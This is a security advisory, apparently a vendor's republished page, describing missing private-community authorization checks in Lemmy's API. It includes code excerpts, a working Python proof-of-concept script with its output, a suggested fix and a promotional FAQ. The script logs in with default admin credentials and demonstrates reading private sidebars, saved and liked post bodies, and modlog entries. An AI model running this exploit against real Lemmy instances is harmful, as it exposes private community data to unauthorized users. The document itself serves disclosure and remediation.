GHSA-95Q8-X6R6-672M

NOTE: Only affects development version.

Lemmy applies private-community checks in PostView and CommentView, but several adjacent API views skip the accepted-follower filter. Bob, a registered user who is not an accepted follower, can read private community sidebar and summary fields. Alice, a former accepted follower, can still read saved and liked private post bodies after she leaves. An unauthenticated visitor can read private community metadata and removed private post names through the modlog.

Details

CommunityView::read() and CommunityQuery::list() call visible_communities_only(), but they do not add the private-community filter used by post and comment reads:

query = my_local_user.visible_communities_only(query);
query.first(conn).await.with_lemmy_type(LemmyErrorType::NotFound)

PersonSavedCombinedQuery::list() and PersonLikedCombinedQuery::list() join community_actions, but they only filter by the requesting person id. They do not require community_actions.follow_state = Accepted when the community has visibility = Private.

The modlog query returns ListingType::All without a visibility predicate:

query = match self.listing_type.unwrap_or(ListingType::All) {
  ListingType::All => query,

The control paths show the expected check. PostView::read() and CommentView::read() both filter private communities to accepted followers:

community::visibility
  .ne(CommunityVisibility::Private)
  .or(community_actions::follow_state.eq(CommunityFollowerState::Accepted))

Proof of Concept

The following script reproduces the leak against a fresh Lemmy instance. Tested against dessalines/lemmy:nightly with the default setup account from the sample config. The script opens registration so it can create Alice and Bob.

import requests, random, string

BASE = "http://127.0.0.1:8536/api/v4"  # change to the target Lemmy URL
ADMIN_USER = "lemmy"
ADMIN_PASS = "lemmylemmy"
PASSWORD = "Password123456!"

def req(method, path, token=None, params=None, **body):
    headers = {}
    if token:
        headers["Authorization"] = "Bearer " + token
    return requests.request(method, BASE + path, headers=headers, params=params, json=body or None)

def register(name):
    r = req("POST", "/account/auth/register", username=name, password=PASSWORD,
            password_verify=PASSWORD, email=name + "@example.test")
    r.raise_for_status()
    token = r.json()["jwt"]
    person_id = req("GET", "/account", token).json()["local_user_view"]["person"]["id"]
    return token, person_id

def show(label, response, marker):
    text = response.text
    print("\n" + label + ": HTTP", response.status_code)
    print(text[:700])
    print("contains marker:", marker in text)

suffix = "poc" + "".join(random.choice(string.ascii_lowercase) for _ in range(6))
admin = req("POST", "/account/auth/login", username_or_email=ADMIN_USER, password=ADMIN_PASS).json()["jwt"]
req("PUT", "/site", admin, registration_mode="open", email_verification_required=False)

alice, alice_id = register("alice" + suffix)
bob, _ = register("bob" + suffix)
secret = "SECRET_" + suffix

community = req("POST", "/community", admin,
                name="priv" + suffix,
                title="Private Proof " + suffix,
                sidebar=secret + " sidebar",
                summary=secret + " summary",
                visibility="private").json()["community_view"]["community"]
community_id = community["id"]
post = req("POST", "/post", admin, name="secret post " + suffix,
           community_id=community_id, body=secret + " post body").json()["post_view"]["post"]
post_id = post["id"]

show("Bob reads private community metadata", req("GET", "/community", bob, params={"id": community_id}), secret)
show("Bob direct post read control", req("GET", "/post", bob, params={"id": post_id}), secret)

req("POST", "/community/follow", alice, community_id=community_id, follow=True)
req("POST", "/community/pending_follows/approve", admin,
    community_id=community_id, follower_id=alice_id, approve=True)
req("PUT", "/post/save", alice, post_id=post_id, save=True)
req("POST", "/post/like", alice, post_id=post_id, is_upvote=True)
req("POST", "/community/follow", alice, community_id=community_id, follow=False)

show("Alice direct post read after leaving", req("GET", "/post", alice, params={"id": post_id}), secret)
show("Alice saved list after leaving", req("GET", "/account/saved", alice), secret)
show("Alice liked list after leaving", req("GET", "/account/liked", alice), secret)

mod_comm = req("POST", "/community", admin,
               name="modlog" + suffix,
               title="Private Modlog " + suffix,
               sidebar=secret + " modlog sidebar",
               summary=secret + " modlog summary",
               visibility="private").json()["community_view"]["community"]
mod_post = req("POST", "/post", admin, name=secret + " removed post",
               community_id=mod_comm["id"], body="body").json()["post_view"]["post"]
req("POST", "/post/remove", admin, post_id=mod_post["id"], removed=True, reason="poc")
show("Unauthenticated modlog", req("GET", "/modlog", params={"listing_type": "all", "limit": 50}), secret)

Output:

Bob reads private community metadata: HTTP 200
contains marker: True
Bob direct post read control: HTTP 404
contains marker: False
Alice direct post read after leaving: HTTP 404
contains marker: False
Alice saved list after leaving: HTTP 200
contains marker: True
Alice liked list after leaving: HTTP 200
contains marker: True
Unauthenticated modlog: HTTP 200
contains marker: True

Bob can read private community descriptions and sidebars before a moderator approves him. Alice can leave a private community, or a moderator can remove her, and Lemmy still returns private post bodies that Alice saved or liked while she was a member. An unauthenticated visitor can use the public modlog to discover private community metadata and removed private post names.

The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.

GHSA-95Q8-X6R6-672M has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

Apply the same private-community filter used by PostView and CommentView to CommunityView::read(), CommunityQuery::list(), PersonSavedCombinedQuery::list(), PersonLikedCombinedQuery::list(), and the ListingType::All branch of the modlog query. Admins and accepted followers should keep access. Other callers should receive the same 404 behavior as GET /post and GET /comment.

Found by aisafe.io

1. What is GHSA-95Q8-X6R6-672M? GHSA-95Q8-X6R6-672M is a medium-severity missing authorization vulnerability in lemmy_api (rust), affecting versions <= 0.19.1-rc.1. No fixed version is listed yet. The application does not perform an authorization check before performing a sensitive operation.
2. How severe is GHSA-95Q8-X6R6-672M? GHSA-95Q8-X6R6-672M has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of lemmy_api are affected by GHSA-95Q8-X6R6-672M? lemmy_api (rust) versions <= 0.19.1-rc.1 is affected.
4. Is there a fix for GHSA-95Q8-X6R6-672M? No fixed version is listed for GHSA-95Q8-X6R6-672M yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is GHSA-95Q8-X6R6-672M exploitable, and should I be worried? Whether GHSA-95Q8-X6R6-672M is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-95Q8-X6R6-672M is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-95Q8-X6R6-672M? No fixed version is listed yet. In the interim: Keep the dependency up to date. Ensure authorization checks are enforced consistently on all sensitive operations.